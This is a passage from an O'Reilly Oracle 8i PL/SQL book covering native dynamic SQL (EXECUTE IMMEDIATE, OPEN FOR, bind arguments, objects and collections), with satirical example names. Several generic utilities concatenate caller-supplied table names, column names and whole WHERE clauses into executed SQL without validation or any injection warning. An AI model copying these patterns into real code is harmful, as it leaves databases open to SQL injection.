You can use EXECUTE IMMEDIATE for any SQL statement or PL/SQL block, except for multiple-row queries. If SQL_string ends with a semicolon, it will be treated as a PL/SQL block; otherwise, it will be treated as either DML (Data Manipulation Language -- SELECT, INSERT, UPDATE, or DELETE) or DDL (Data Definition Language, such as CREATE TABLE). The string may contain placeholders for bind arguments, but you cannot use bind values to pass in the names of schema objects, such as table names or column names.

When the statement is executed, the runtime engine replaces each placeholder (an identifier with a colon in front of it, such as :salary_value) in the SQL string with its corresponding bind argument (by position). You can pass numeric, date, and string expressions. You cannot, however, pass a Boolean, because it is a PL/SQL datatype. Nor can you pass a NULL literal value. Instead, you must pass a variable of the correct type that has a value of NULL.

NDS supports all SQL datatypes available in Oracle8i. So, for example, define variables and bind arguments can be collections, large objects (LOBs), instances of an object type, and REFs. On the other hand, NDS does not support datatypes that are specific to PL/SQL, such as Booleans, index-by tables, and user-defined record types. The INTO clause may, however, contain a PL/SQL record.

Let's take a look at a few examples:

  1. Create an index:

    EXECUTE IMMEDIATE 'CREATE INDEX emp_u_1 ON employee (last_name)';

    It can't get much easier than that, can it?

  2. Create a stored procedure that will execute any DDL statement:

    CREATE OR REPLACE PROCEDURE execDDL (ddl_string IN VARCHAR2)
IS
BEGIN
   EXECUTE IMMEDIATE ddl_string;
END;
/

    With execDDL in place, I can create that same index as follows:

    execDDL ('CREATE INDEX emp_u_1 ON employee (last_name)');

  3. Obtain the count of rows in any table, in any schema, for the specified WHERE clause:

    /* Filename on companion disk: tabcount.sf */
CREATE OR REPLACE FUNCTION tabCount (
   tab IN VARCHAR2,
   whr IN VARCHAR2 := NULL,
   sch IN VARCHAR2 := NULL)
   RETURN INTEGER
IS
   retval INTEGER;
BEGIN
   EXECUTE IMMEDIATE
      'SELECT COUNT(*)
         FROM ' || NVL (sch, USER) || '.' || tab ||
      ' WHERE ' || NVL (whr, '1=1')
      INTO retval;
   RETURN retval;
END;
/

    So now I never again have to write SELECT COUNT(*), whether in SQL*Plus or within a PL/SQL program, as in the following:

    BEGIN
   IF tabCount ('emp', 'deptno = ' || v_dept) > 100
   THEN
      DBMS_OUTPUT.PUT_LINE ('Growing fast!');
   END IF;

  4. Here's a function that lets you update the value of any numeric column in any table. It's a function because it returns the number of rows that have been updated.

    /* Filename on companion disk: updnval.sf */
CREATE OR REPLACE FUNCTION updNVal (
   tab IN VARCHAR2,
   col IN VARCHAR2,
   val IN NUMBER,
   whr IN VARCHAR2 := NULL,
   sch IN VARCHAR2 := NULL)
   RETURN INTEGER
IS
BEGIN
   EXECUTE IMMEDIATE
      'UPDATE ' || NVL (sch, USER) || '.' || tab ||
      '   SET ' || col || ' = :the_value
        WHERE ' || NVL (whr, '1=1')
     USING val;
   RETURN SQL%ROWCOUNT;
END;
/

    Where I come from, that is a very small amount of code to achieve all of that flexibility! This example introduces the bind argument: after the UPDATE statement is parsed, the PL/SQL engine replaces the :the_value placeholder with the value in the val variable. Notice also that I am able to rely on the SQL%ROWCOUNT cursor attribute that I have already been using for static DML statements.

  5. Suppose that I need to run a different stored procedure at 9 a.m. each day of the week. Each program's name has this structure: DAYNAME_set_schedule. Each procedure has the same four arguments: you pass in employee_id and hour for the first meeting of the day; it returns the name of the employee and the number of appointments for the day. I can use dynamic PL/SQL to handle this situation:

    /* Filename on companion disk: run9am.sp */
CREATE OR REPLACE PROCEDURE run_9am_procedure (
   id_in IN employee.employee_id%TYPE,
   hour_in IN INTEGER)
IS
   v_apptCount INTEGER;
   v_name VARCHAR2(100);
BEGIN
   EXECUTE IMMEDIATE
      'BEGIN ' || TO_CHAR (SYSDATE, 'DAY') ||
         '_set_schedule (:id, :hour, :name, :appts); END;'
     USING IN
        id_in, IN hour_in, OUT v_name, OUT v_apptCount;

   DBMS_OUTPUT.PUT_LINE (
      'Employee ' || v_name || ' has ' || v_apptCount ||
      ' appointments on ' || TO_CHAR (SYSDATE));
END;
/

This is a very easy and accessible syntax!

4.2.2 The OPEN FOR Statement

The OPEN FOR statement is not brand-new to PL/SQL in Oracle8i; it was first offered in Oracle7 to support cursor variables. Now it is deployed in an especially elegant fashion to implement multiple-row dynamic queries. With DBMS_SQL, you go through a particularly painful series of steps to implement multirow queries: parse, bind, define each column individually, execute, fetch, extract each column value individually. My gosh, what a lot of code to write!

For native dynamic SQL, Oracle took an existing feature and syntax -- that of cursor variables -- and extended it in a very natural way to support dynamic SQL. The next section explores multirow queries in detail; let's take a look now specifically at the syntax of the OPEN FOR statement:

OPEN {cursor_variable | :host_cursor_variable} FOR SQL_string
   [USING bind_argument[, bind_argument]...];
cursor_variable

A weakly typed cursor variable

:host_cursor_variable

A cursor variable declared in a PL/SQL host environment such as an Oracle Call Interface (OCI) program

SQL_string

Contains the SELECT statement to be executed dynamically

USING clause

Follows the same rules as it does in the EXECUTE IMMEDIATE statement

Many PL/SQL developers are not very familiar with cursor variables, so a quick review is in order (for lots more details, check out Chapter 6 of Oracle PL/SQL Programming, 2nd Edition.

A cursor variable is a variable of type REF CURSOR, or referenced cursor. Here is an example of a declaration of a cursor variable based on a "weak" REF CURSOR (the sort you will use for NDS):

DECLARE
   TYPE cv_type IS REF CURSOR;
   cv cv_type;

A cursor variable points to a cursor object; it is, however, a variable. You can have more than one variable pointing to the same cursor object, you can assign one cursor variable to another, and so on. Once you have declared a cursor variable, you can assign a value to it by referencing it in an OPEN FOR statement:

DECLARE
   TYPE cv_type IS REF CURSOR;
   cv cv_type;
BEGIN
   OPEN cv FOR SELECT COUNT(guns) FROM charlton_heston_home;

In this example, the query is static -- it is not contained in single quotes, and it is frozen at compilation time. That is the only way we have been able to work with cursor variables until Oracle8i. Now we can use the same syntax as before, but the query can be a literal or an expression, as in the following:

OPEN dyncur FOR SQL_string;

or, to show the use of a bind argument:

OPEN dyncur FOR
   'SELECT none_of_the_above FROM senate_candidates
     WHERE state = :your_state_here'
   USING state_in;

Once you have opened the query with the OPEN FOR statement, the syntax used to fetch rows, close the cursor variable and check the attributes of the cursor are all the same as for static cursor variables -- and hardcoded explicit cursors, for that matter. The next section demonstrates all of this syntax through examples.

To summarize, there are two differences between the OPEN FOR statement for static and dynamic SQL:

  • The static version does not support the USING clause of NDS.

  • The static version requires a static SQL statement after the FOR keyword, whereas with NDS, the SQL string is always either a literal string or an expression that evaluates to a string.

Previous: 4.1 DBMS_SQL Versus NDS | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 4.3 Multirow Queries with Cursor Variables
4.1 DBMS_SQL Versus NDS | Book Index | 4.3 Multirow Queries with Cursor Variables
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.3 Multirow Queries with Cursor Variables

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

4.3 Multirow Queries with Cursor Variables

Now that you have seen the syntax of OPEN FOR and been introduced to cursor variables, let's explore the nuances involved in multirow queries with NDS.

When you execute an OPEN FOR statement, the PL/SQL runtime engine does the following:

  1. Associates a cursor variable with the query found in the query string

  2. Evaluates any bind arguments and substitutes those values for the placeholders found in the query string

  3. Executes the query

  4. Identifies the result set

  5. Positions the cursor on the first row in the result set

  6. Zeros out the rows-processed count returned by %ROWCOUNT

Note that any bind arguments (provided in the USING clause) in the query are evaluated only when the cursor variable is opened. This means that if you want to use a different set of bind arguments for the same dynamic query, you must issue a new OPEN FOR statement with those arguments.

TIP: This approach is actually less efficient than the DBMS_SQL approach, which will allow you to simply rebind and then execute without having to reparse.

To perform a multirow query, you take these steps:

  1. Declare a REF CURSOR type (if one is not already available, as it could be if defined in a package specification).

  2. Declare a cursor variable based on the REF CURSOR.

  3. OPEN the cursor variable FOR your query string.

  4. Use the FETCH statement to fetch one row at a time from the query.

  5. Check cursor attributes (%FOUND, %NOTFOUND, %ROWCOUNT, %ISOPEN) as necessary.

  6. Close the cursor variable using the normal CLOSE statement.

Here is a simple program to display the specified column of any table for the rows indicated by the WHERE clause (it will work for number, date, and string columns):

/* Filename on companion disk: showcol.sp */
CREATE OR REPLACE PROCEDURE showcol (
   tab IN VARCHAR2,
   col IN VARCHAR2,
   whr IN VARCHAR2 := NULL)
IS
   TYPE cv_type IS REF CURSOR;
   cv cv_type;
   val VARCHAR2(32767);
BEGIN
   /* Construct the very dynamic query and open the cursor. */
   OPEN cv FOR
      'SELECT ' || col ||
      '  FROM ' || tab ||
      ' WHERE ' || NVL (whr, '1 = 1');

   LOOP
      /* Fetch the next row, and stop if no more rows. */
      FETCH cv INTO val;
      EXIT WHEN cv%NOTFOUND;

      /* Display the data, with a header before the first row. */
      IF cv%ROWCOUNT = 1
      THEN
         DBMS_OUTPUT.PUT_LINE (RPAD ('-', 60, '-'));
         DBMS_OUTPUT.PUT_LINE (
            'Contents of ' ||
            UPPER (tab) || '.' || UPPER (col));
         DBMS_OUTPUT.PUT_LINE (RPAD ('-', 60, '-'));
      END IF;
      DBMS_OUTPUT.PUT_LINE (val);
   END LOOP;

   CLOSE cv; --All done, so clean up!
END;
/

Here are some examples of output from this procedure:

SQL> exec showcol ('emp', 'ename', 'deptno=10')
--------------------------------------------------
Contents of EMP.ENAME
--------------------------------------------------
CLARK
KING
MILLER

I can even combine columns:

BEGIN
   showcol (
      'emp',
      'ename || ''-$'' || sal',
      'comm IS NOT NULL');
END;
/
--------------------------------------------------
Contents of EMP.ENAME || '-$' || SAL
--------------------------------------------------
ALLEN-$1600
WARD-$1250
MARTIN-$1250
TURNER-$1500

4.3.1 FETCH into Variables or Records

The FETCH statement in the showcol procedure shown in the previous section fetches into an individual variable. You could also FETCH into a sequence of variables, as shown here:

DECLARE
   TYPE cv_type IS REF CURSOR;
   cv cv_type;
   mega_bucks company.ceo_compensation%TYPE;
   achieved_by company.layoff_count%TYPE;
BEGIN
   OPEN cv FOR
      'SELECT ceo_compensation, layoff_count
        FROM company
       WHERE ' || NVL (whr, '1 = 1');

   LOOP
      FETCH cv INTO mega_bucks, achieved_by;

Working with a long list of variables in the FETCH list gets cumbersome and inflexible: you have to declare the variables, keep that set of values synchronized with the FETCH statement, and so on. To ease our troubles, NDS allows us to fetch into a record, as shown here:

DECLARE
   TYPE cv_type IS REF CURSOR;
   cv cv_type;
   ceo_info company%ROWTYPE;
BEGIN
   OPEN cv FOR
      'SELECT *
        FROM company
       WHERE ' || NVL (whr, '1 = 1');

   LOOP
      FETCH cv INTO ceo_info;

Of course, in many situations you will not want to do a SELECT *; this statement can be very inefficient if your table has hundreds of columns and you only need to work with three of those hundreds. A better approach is to create record TYPEs that correspond to different requirements. The best place to put these structures is in a package specification, so they can be used throughout your application. Here's one such package:

CREATE OR REPLACE PACKAGE company_struc
IS
   TYPE dynsql_curtype IS REF CURSOR;

   TYPE ceo_info_rt IS RECORD (
      mega_bucks company.ceo_compensation%TYPE,
      achieved_by company.layoff_count%TYPE);

END company_struc;

With this package in place, I can rewrite my CEO-related code as follows:

DECLARE
   cur company_struc.dynsql_curtype;
   rec company_struc.ceo_info_rt;
BEGIN
   OPEN cv FOR
      'SELECT ceo_compensation, layoff_count
        FROM company
       WHERE ' || NVL (whr, '1 = 1');

   LOOP
      FETCH cv INTO rec;

4.3.2 The USING Clause in OPEN FOR

As with the EXECUTE IMMEDIATE statement, you can pass in bind arguments when you open a cursor. You can only provide IN arguments for a query. By using bind arguments you can improve the performance of your SQL also, and also make it easier to write and maintain that code. (See Section 4.4, "Binding Variables later in this chapter for information about this technique.)

Let's revisit the showcol procedure. That procedure accepted a completely generic WHERE clause. Suppose that I have a more specialized requirement: I want to display (or in some other way process) all column information for rows that contain a date column with a value within a certain range. In other words, I want to be able to satisfy this query:

SELECT ename
  FROM emp
 WHERE hiredate BETWEEN x AND y;

as well as this query:

SELECT name
  FROM war_criminal
 WHERE killing_date BETWEEN x AND y;

I also want to make sure that the time component of the date column does not play a role in the WHERE condition.

Here is the header for the procedure:

/* Filename on companion disk: showcol2.sp */
PROCEDURE showcol (
   tab IN VARCHAR2,
   col IN VARCHAR2,
   dtcol IN VARCHAR2,
   dt1 IN DATE,
   dt2 IN DATE := NULL)

The OPEN FOR statement now contains two placeholders and a USING clause to match:

OPEN cv FOR
      'SELECT ' || col ||
      '  FROM ' || tab ||
      ' WHERE ' || dtcol ||
         ' BETWEEN TRUNC (:startdt)
               AND TRUNC (:enddt)'
   USING dt1, NVL (dt2, dt1+1);

I have crafted this statement so that if the user does not supply an end date, the WHERE clause returns rows whose date column is the same day as the dt1 provided. The rest of the showcol procedure remains the same, except for some cosmetic changes in the display of the header.

The following call to this new version of showcol asks to see the names of all employees hired in 1982:

BEGIN
   showcol ('emp',
      'ename', 'hiredate',
      '01-jan-82', '31-dec-82');
END;
/
----------------------------------------------------------------------
Contents of EMP.ENAME for HIREDATE between 01-JAN-82 and 31-DEC-82
----------------------------------------------------------------------
MILLER

4.3.3 Generic GROUP BY Procedure

How many times have you written a query along these lines:

SELECT some-columns, COUNT(*)
  FROM your-table
 GROUP BY some-columns;

And then there is the variation involving the HAVING clause (you don't want to see all the counts, you just want to see those groupings where there is more than one identical value, and so on). These are very common requirements, but with NDS, you can easily build a program that does all the work for you, for any table, and for any single column (and this is extensible to multiple columns as well).

Here is the header of such a procedure:

/* Filename on companion disk: countby.sp */
PROCEDURE countBy (
   tab IN VARCHAR2,
   col IN VARCHAR2,
   atleast IN INTEGER := NULL,
   sch IN VARCHAR2 := NULL,
   maxlen IN INTEGER := 30)
tab

The name of the table.

col

The name of the column.

sch

The name of the schema (default of NULL = USER).

atleast

If you supply a non-NULL value for atleast, then the SELECT statement includes a HAVING COUNT(*) greater than that value.

maxlen

Used for formatting of the output.

You can look at the countby.sp file on the companion disk to see the full implementation; here is all the code except that used to do the formatting (header string and so on):

IS
   TYPE cv_type IS REF CURSOR;
   cv cv_type;

   SQL_string VARCHAR2(32767) :=
      'SELECT ' || col || ', COUNT(*)
         FROM ' || NVL (sch, USER) || '.' || tab ||
      ' GROUP BY ' || col;

   v_val VARCHAR2(32767);
   v_count INTEGER;
BEGIN
   IF atleast IS NOT NULL
   THEN
      SQL_string := SQL_string || ' HAVING COUNT(*) >= ' || atleast;
   END IF;

   OPEN cv FOR SQL_String;

   LOOP
      FETCH cv INTO v_val, v_count;
      EXIT WHEN cv%NOTFOUND;
      DBMS_OUTPUT.PUT_LINE (RPAD (v_val, maxlen) || ' ' || v_count);
   END LOOP;

   CLOSE cv;
END;
/

As you start to build more and more of these generic utilities, you will find that it doesn't take very much code or effort -- you just have to think through the steps of the SQL string construction carefully.

4.3.4 Generic GROUP BY Package

Displaying information is useful for test purposes, but in many cases you want to work with the queried information further, not simply show it. Let's build on the countby procedure shown in the previous section to provide an implementation in which the results of the dynamic query are stored in an index-by table for subsequent analysis.

Here is the specification of the package:

/* Filename on companion disk: countby.pkg */
CREATE OR REPLACE PACKAGE grp
IS
   TYPE results_rt IS RECORD (
      val VARCHAR2(4000),
      countby INTEGER);

   TYPE results_tt IS TABLE OF results_rt
      INDEX BY BINARY_INTEGER;

   FUNCTION countBy (
      tab IN VARCHAR2,
      col IN VARCHAR2,
      atleast IN INTEGER := NULL,
      sch IN VARCHAR2 := NULL,
      maxlen IN INTEGER := 30)
      RETURN results_tt;
END grp;
/

The implementation of the countby function is virtually the same as the procedure. The main difference is that I now have a record structure to fetch into, and an index-by table to fill. You can see both these changes in the loop that fetches the rows:

LOOP
   FETCH cv INTO rec;
   EXIT WHEN cv%NOTFOUND;
   retval(cv%ROWCOUNT) := rec;
END LOOP;

With this package in place, I can very easily build programs that access this analytical information. Here is one example::

/* Filename on companion disk: countby.tst */
DECLARE
   results grp.results_tt;
   indx PLS_INTEGER;
   minrow PLS_INTEGER;
   maxrow PLS_INTEGER;
BEGIN
   results := grp.countby ('employee', 'department_id');

   /* Find min and max counts. */
   indx := results.FIRST;
   LOOP
      EXIT WHEN indx IS NULL;

      IF minrow IS NULL OR
         minrow > results(indx).countby
      THEN
         minrow := indx;
      END IF;

      IF maxrow IS NULL OR
         maxrow < results(indx).countby
      THEN
         maxrow := indx;
      END IF;

      /* Perform other processing as well... */

      /* Move to next group count. */
      indx := results.NEXT(indx);
   END LOOP;
END;
/

Previous: 4.2 NDS Statement Summary | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 4.4 Binding Variables
4.2 NDS Statement Summary | Book Index | 4.4 Binding Variables
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.4 Binding Variables

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

4.4 Binding Variables

You have seen several examples of the use of bind variables or arguments with NDS. Let's now go over the various rules and special situations you may encounter when binding.

4.4.1 Binding Versus Concatenation

In most situations, you will be able to take two different paths to insert program values into your SQL string: binding and concatenation. The following table contrasts these approaches for a dynamic UPDATE statement.

Concatenation

Binding

EXECUTE IMMEDIATE
   'UPDATE ' || tab
      'SET sal = ' || v_sal;

EXECUTE IMMEDIATE
   'UPDATE ' || tab
      'SET sal = :new_sal'
   USING v_sal;

Binding involves the use of placeholders and the USING clause; concatenation shortcuts that process by adding the values directly to the SQL string. Two different approaches -- which should you use and when?

I recommend that you bind arguments whenever possible (see the next section for limitations on binding) rather than rely on concatenation. There are two reasons for taking this approach:

Binding is faster

When you bind in a value, the SQL string itself does not contain the value, just the placeholder name. Therefore, you can bind different values to the same SQL statement without changing that statement. Since it is the same SQL statement, your application is more likely to be able to take advantage of the pre-parsed cursors that are cached in the System Global Area (SGA) of the database.

Binding is easier to write and maintain

When you bind, you don't have to worry about datatype conversion. It is all handled for you by the NDS engine. Binding, in fact, minimizes datatype conversion, since it works with the native datatypes. If you use concatenation, you will often need to write very complex, error-prone string expressions involving multiple single quotes, TO_DATE and TO_CHAR function calls, and so on. For example, consider the following comparison of concatenation and binding for a more complex statement:

/* Binding */
EXECUTE IMMEDIATE
   'UPDATE employee SET salary = :val
     WHERE hire_date BETWEEN :lodate AND :hidate'
   USING v_start, v_end;

/* Concatenation */
EXECUTE IMMEDIATE
 'UPDATE employee SET salary = ' || val_in ||
 ' WHERE hire_date BETWEEN ' ||
    ' TO_DATE (''' || TO_CHAR (v_start)  || ''')' ||
    ' AND ' ||
    ' TO_DATE (''' || TO_CHAR (v_end)  || ''')';

So bind whenever possible . . . which leads to the question: when is binding not an option?

4.4.2 Limitations on Binding

You can only bind into your SQL statement expressions (literals, variables, complex expressions) that replace placeholders for data values inside the dynamic string. You cannot bind in the names of schema elements (tables, columns, etc.) or entire chunks of the SQL statement (such as the WHERE clause). For those parts of your string, you must use concatenation.

For example, suppose you want to create a procedure that will truncate the specified view or table. Your first attempt might look something like this:

CREATE OR REPLACE PROCEDURE truncobj (
   nm IN VARCHAR2,
   tp IN VARCHAR2 := 'TABLE',
   sch IN VARCHAR2 := NULL)
IS
BEGIN
   EXECUTE IMMEDIATE
      'TRUNCATE :trunc_type :obj_name'
      USING tp, NVL (sch, USER) || '.' || nm;
END;
/

This code seems perfectly reasonable. But when you try to run the procedure you'll get this error:

ORA-03290: Invalid truncate command - missing CLUSTER or TABLE keyword

And if you rewrite the procedure to simply truncate tables, as follows:

EXECUTE IMMEDIATE 'TRUNCATE TABLE :obj_name' USING nm;

Then the error becomes:

ORA-00903: invalid table name

Why does NDS (and DBMS_SQL) have this restriction? When you pass a string to EXECUTE IMMEDIATE, the runtime engine must first parse the statement. The parse phase guarantees that the SQL statement is properly defined. PL/SQL can tell that the following statement is valid:

'UPDATE emp SET sal = :xyz'

without having to know the value of :xyz. But how can PL/SQL know if the following statement is well formed?

'UPDATE emp SET :col_name = :xyz'

Even if you don't pass in nonsense for col_name, it won't work. For that reason, you must use concatenation:

CREATE OR REPLACE PROCEDURE truncobj (
   nm IN VARCHAR2,
   tp IN VARCHAR2 := 'TABLE',
   sch IN VARCHAR2 := NULL)
IS
BEGIN
   EXECUTE IMMEDIATE
      'TRUNCATE ' || tp || ' ' || NVL (sch, USER) || '.' || nm;
END;
/

4.4.3 Argument Modes

Bind arguments can have one of three modes:

IN

Read-only value (the default mode)

OUT

Write-only variable

IN OUT

Can read the value coming in and write the value going out

When you are executing a dynamic query, all bind arguments must be IN mode, except when you are taking advantage of the RETURNING clause, as shown here:

CREATE OR REPLACE PROCEDURE wrong_incentive (
   company_in IN INTEGER,
   new_layoffs IN NUMBER
   )
IS
   sql_string VARCHAR2(2000);
   sal_after_layoffs NUMBER;
BEGIN
   sql_string :=
      'UPDATE ceo_compensation
          SET salary = salary + 10 * :layoffs
        WHERE company_id = :company
       RETURNING salary INTO :newsal';

   EXECUTE IMMEDIATE sql_string
     USING new_layoffs, company_in, OUT sal_after_layoffs;

   DBMS_OUTPUT.PUT_LINE (
      'Benefiting from the misery of others at $' || sal_after_layoffs);
END;

Besides being used with the RETURNING clause, OUT and IN OUT bind arguments come into play mostly when you are executing dynamic PL/SQL. In this case, the modes of the bind arguments must match the modes of any PL/SQL program parameters, as well as the usage of variables in the dynamic PL/SQL block.

Let's take a look at how this works with a few examples. Suppose that I have created the following stored procedure (I am writing this text in May 1999, as Kosovar Albanians are being pushed from their homes by Milosevic, and NATO bombs ravage Yugoslavia):

/* Filename on companion disk: natotarg.sql */
PROCEDURE pick_nato_targets (
   media_outlet_ok IN BOOLEAN,
   electric_grid_ok IN BOOLEAN,
   maternity_ward_ok IN BOOLEAN,
   cumulative_regrets IN OUT NUMBER,
   civilian_casualities OUT NUMBER
   )

Now I will just wander kind of naively into the territory of dynamic PL/SQL and execute the procedure, as follows:

BEGIN
   EXECUTE IMMEDIATE
      'BEGIN
          pick_nato_targets (TRUE, TRUE, TRUE, 10, 100);
       END;';
END;
/

Since cumulative_regrets is an IN OUT argument, however, I get these errors:

PLS-00363: expression '10' cannot be used as an assignment target
PLS-00363: expression '100' cannot be used as an assignment target

The procedure wants to pass back a value through the last two arguments. I need to provide a data structure to hold those values. Literals will not do, so I change it to this:

DECLARE
   next_to_old_defense_building BOOLEAN := TRUE;
   we_all_make_mistakes NUMBER;
   others_die_for_them NUMBER;
BEGIN
   EXECUTE IMMEDIATE
      'BEGIN
          pick_nato_targets (
             TRUE, TRUE, :baby_place, :whoops, :it_happens);
       END;'
       USING next_to_old_defense_building,
             we_all_make_mistakes,
             others_die_for_them;
END;
/

And now I get the following error:

PLS-00457: in USING clause, expressions have to be of SQL types

which reminds me that even though I am running dynamic PL/SQL, I have to conform to the rules and restrictions of NDS: only SQL datatypes are allowed, and Boolean is still not one of them, though I sure don't understand why.

But, fine, I will not pass in the Boolean value; I'll stick to numeric bind values:

   EXECUTE IMMEDIATE
      'BEGIN
          pick_nato_targets (
             TRUE, TRUE, TRUE, :whoops, :it_happens);
       END;'
       USING we_all_make_mistakes,
             others_die_for_them;

But then I get this error:

ORA-06536: IN bind variable bound to an OUT position

I have left both bind arguments with the default IN mode, and that does not match the arguments. And if I change them both to OUT:

USING OUT we_all_make_mistakes,
      OUT others_die_for_them;

I get this error:

ORA-06537: OUT bind variable bound to an IN position

That would seem to be darn confusing, but the reality is that when you have an IN OUT argument, the error message treats it as if it's an IN argument.

And so we find that the only way to call this procedure successfully in NDS is with the following statement:

EXECUTE IMMEDIATE
   'BEGIN
       pick_nato_targets (
          TRUE, TRUE, FALSE, :whoops, :it_happens);
    END;'
    USING IN OUT we_all_make_mistakes,
          OUT others_die_for_them;

4.4.4 Duplicate Placeholders

In a dynamically constructed and executed SQL string, NDS associates placeholders with USING clause bind arguments by position, rather than by name. The treatment of multiple placeholders with the same name varies, however, according to whether you are using dynamic SQL or dynamic PL/SQL. You need to follow these rules:

  • When you are executing a dynamic SQL string (DML or DDL; in other words, the string does not end in a semicolon), you must supply an argument for each placeholder, even if there are duplicates.

  • When you are executing a dynamic PL/SQL block (the string ends in a semicolon), you supply an argument for each unique placeholder.

4.4.5 Passing NULL Values

We will all encounter special moments when we want to pass a NULL value as a bind argument, as follows:

EXECUTE IMMEDIATE
   'UPDATE employee SET salary = :newsal
     WHERE hire_date IS NULL'
   USING NULL;

You will, however, get this error:

PLS-00457: in USING clause, expressions have to be of SQL types

Basically, what this is saying is that NULL has no datatype, and "no datatype" is not a valid SQL datatype.

So what are you supposed to do if you need to pass in a NULL value? You can do one of two things:

  1. Hide it behind a variable fa鏰de, most easily done with an uninitialized variable, as shown here:

DECLARE
   /* Default initial value is NULL */
   no_salary_when_fired NUMBER;
BEGIN
    EXECUTE IMMEDIATE
      'UPDATE employee SET salary = :newsal
        WHERE hire_date IS NULL'
      USING no_salary_when_fired;
END;

  2. Use a conversion function to convert the NULL value to a typed value explicitly:

BEGIN
    EXECUTE IMMEDIATE
      'UPDATE employee SET salary = :newsal
        WHERE hire_date IS NULL'
      USING TO_NUMBER (NULL);
END;

Previous: 4.3 Multirow Queries with Cursor Variables | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 4.5 Working with Objects and Collections
4.3 Multirow Queries with Cursor Variables | Book Index | 4.5 Working with Objects and Collections
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.5 Working with Objects and Collections

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

4.5 Working with Objects and Collections

One of the most important advantages of NDS over DBMS_SQL is its support for new Oracle8 datatypes: objects and collections. You don't need to change the structure of the code you write in NDS to use it with objects and collections.

Suppose that I am building an internal administrative system for the national health management corporation Health$.Com. To reduce costs, the system will work in a distributed manner, creating and maintaining separate tables of customer information for each for-profit hospital owned by Health$.Com.

I'll start by defining an object type (person) and VARRAY type (preexisting_conditions), as follows:

CREATE TYPE person AS OBJECT (
   name VARCHAR2(50), dob DATE, income NUMBER);
/

CREATE TYPE preexisting_conditions IS TABLE OF VARCHAR2(25);
/

Once these types are defined, I can build a package to manage my most critical health-related information -- data needed to maximize profits at Health$.Com. Here is the specification:

/* Filename on companion disk: health$.pkg */
CREATE OR REPLACE PACKAGE health$
AS
   PROCEDURE setup_new_hospital (hosp_name IN VARCHAR2);

   PROCEDURE add_profit_source (
      hosp_name IN VARCHAR2,
      pers IN Person,
      cond IN preexisting_conditions);

   PROCEDURE weed_out_poor_and_sick (
      hosp_name VARCHAR2,
      min_income IN NUMBER := 100000,
      max_preexist_cond IN INTEGER := 0);

   PROCEDURE show_profit_centers (hosp_name VARCHAR2);
 END health$;
/

With this package, I can do the following:

  1. Set up a new hospital, which means create a new table to hold information about that hospital. Here's the implementation from the body:

    FUNCTION tabname (hosp_name IN VARCHAR2) IS
BEGIN
   RETURN hosp_name || '_profit_center';
END;

PROCEDURE setup_new_hospital (hosp_name IN VARCHAR2) IS
BEGIN
   EXECUTE IMMEDIATE
      'CREATE TABLE ' || tabname (hosp_name) || ' (
         pers Person,
         cond preexisting_conditions)
         NESTED TABLE cond STORE AS cond_st';
END;

    TIP: Since preexisting_conditions is a nested table, I must specify the "store table" that will hold it.

  2. Add a "profit source" (formerly known as a "patient") to the hospital, including his or her preexisting conditions. Here's the implementation from the body:

    PROCEDURE add_profit_source (
   hosp_name IN VARCHAR2,
   pers IN Person,
   cond IN preexisting_conditions)
IS
BEGIN
   EXECUTE IMMEDIATE
      'INSERT INTO ' || tabname (hosp_name) ||
          ' VALUES (:revenue_generator, :revenue_inhibitors)'
      USING pers, cond;
END;

    The use of objects and collections is transparent. I could be inserting scalars like numbers and dates, and the syntax and code would be the same.

  3. Remove from the hospital all the really poor and sick people, those individuals who are not contributing to the profit margins of my corporation (hey, maybe we shouldn't mix profit margins and health care!). This is the most complex of the programs; here is the implementation:

PROCEDURE weed_out_poor_and_sick (
   hosp_name VARCHAR2,
   min_income IN NUMBER := 100000,
   max_preexist_cond IN INTEGER := 1)
IS
   cv RefCurTyp;
   human Person;
   known_bugs preexisting_conditions;

   v_table VARCHAR2(30) := tabname (hosp_name);
   v_rowid ROWID;
BEGIN
   /* Find all rows with more than the specified number
      of preconditions and deny them coverage. */
   OPEN cv FOR
      'SELECT ROWID, pers, cond
         FROM ' || v_table || ' alias
        WHERE (SELECT COUNT(*) FROM TABLE (alias.cond))
               > ' ||
               max_preexist_cond ||
         ' OR
               alias.pers.income < ' || min_income;
   LOOP
      FETCH cv INTO v_rowid, human, known_bugs;
      EXIT WHEN cv%NOTFOUND;
      EXECUTE IMMEDIATE
         'DELETE FROM ' || v_table ||
         ' WHERE ROWID = :rid'
         USING v_rowid;
   END LOOP;
   CLOSE cv;
END;

TIP: I decided to retrieve the ROWID of each profit source so that when I do the DELETE it would be easy to identify the row. It would be awfully convenient to make the query FOR UPDATE, and then use WHERE CURRENT OF cv in the DELETE statement, but that is not possible, for two reasons: (1) The cursor variable would have to be globally accessible to be referenced inside a dynamic SQL statement, and (2) You cannot declare cursor variable in packages, because they don't have persistent state. See Section 4.6.3, "Dynamic PL/SQL for more details.

Previous: 4.4 Binding Variables | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 4.6 Building Applications with NDS
4.4 Binding Variables | Book Index | 4.6 Building Applications with NDS
The Oracle Library Navigation

